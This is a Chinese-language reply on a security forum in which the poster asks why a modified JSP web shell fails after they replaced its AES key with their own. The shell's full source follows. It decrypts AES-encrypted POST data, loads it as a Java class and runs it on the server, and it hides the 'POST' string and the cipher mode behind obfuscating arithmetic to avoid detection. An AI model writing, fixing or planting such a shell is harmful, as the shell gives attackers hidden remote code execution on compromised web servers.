回复 6# sha4kOne1
我知道是这款工具,关键是java能力有点差,然后大概读了读,觉得哪段base64解密出来应该是key,然后也让ai判断了一下就是key。然后我把我自己key替换上去,按道理应该可以运行。但实际上失败了
<%@page import="sun.misc.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec,java.util.Random" %>
<%!
class CustomClassLoader extends ClassLoader {
CustomClassLoader(ClassLoader parentClassLoader) {
super(parentClassLoader);
}
public Class loadClassFromBytes(byte[] classBytes) {
return super.defineClass(classBytes, 0, classBytes.length);
}
}
%><%
out.println("Random Garbage Data:");
Random random = new Random();
//1 2 3 4为加密参数
int random1 = random.nextInt(1234);
int random2 = random.nextInt(5678);
int random3 = random.nextInt(1357);
int random4 = random.nextInt(2468);
out.println(random1+","+random2+","+random3+","+random4);
//构建POST字符串
String[] str = new String[]{"A", "P", "B", "O", "C", "S", "D", "T"};
String Post = str[1] + str[3] + str[5] + str[7];
//判断请求方法是否为POST
if (request.getMethod().equals(Post)) {
//加密时使用的盐,16位字符串
//String tas9erfiDFHAuRH = new String(new BASE64Decoder().decodeBuffer("MTZhY2FjYzA1YWFmYWY2Nw=="));
String salt = "16acacc05aafaf67";
//将盐写入
session.setAttribute("u", "16acacc05aafaf67");
Cipher AES = Cipher.getInstance("AES");
//初始化一个 AES-128-ECB 解密器,用于解密数据:AES.init(2,秘钥,AES)
AES.init(((random1 * random2 + random3 - random4) * 0) + 3 - 1, new SecretKeySpec(salt.getBytes(), "AES"));
//动态加解密
new CustomClassLoader(this.getClass().getClassLoader()).loadClassFromBytes(AES.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>T00.ls | GMT+8, 2026-11-13 03:20
Powered by T00ls.com